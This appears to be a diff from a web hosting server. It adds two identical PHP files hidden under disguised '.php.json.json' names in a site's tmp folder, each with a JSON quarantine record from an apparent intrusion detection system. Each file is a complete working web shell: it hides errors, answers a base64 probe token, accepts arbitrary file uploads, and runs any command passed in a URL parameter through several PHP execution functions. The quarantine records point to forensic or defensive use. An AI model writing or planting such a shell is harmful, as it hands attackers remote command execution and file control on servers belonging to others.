+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json
new file mode 100644
index 0000000..0c4e8db
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5221",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ipxvztce.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837751,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_ipxvztce.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json
new file mode 100644
index 0000000..f385b90
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5220",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/_h3x_ul3ooiwi.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700160,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_ul3ooiwi.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}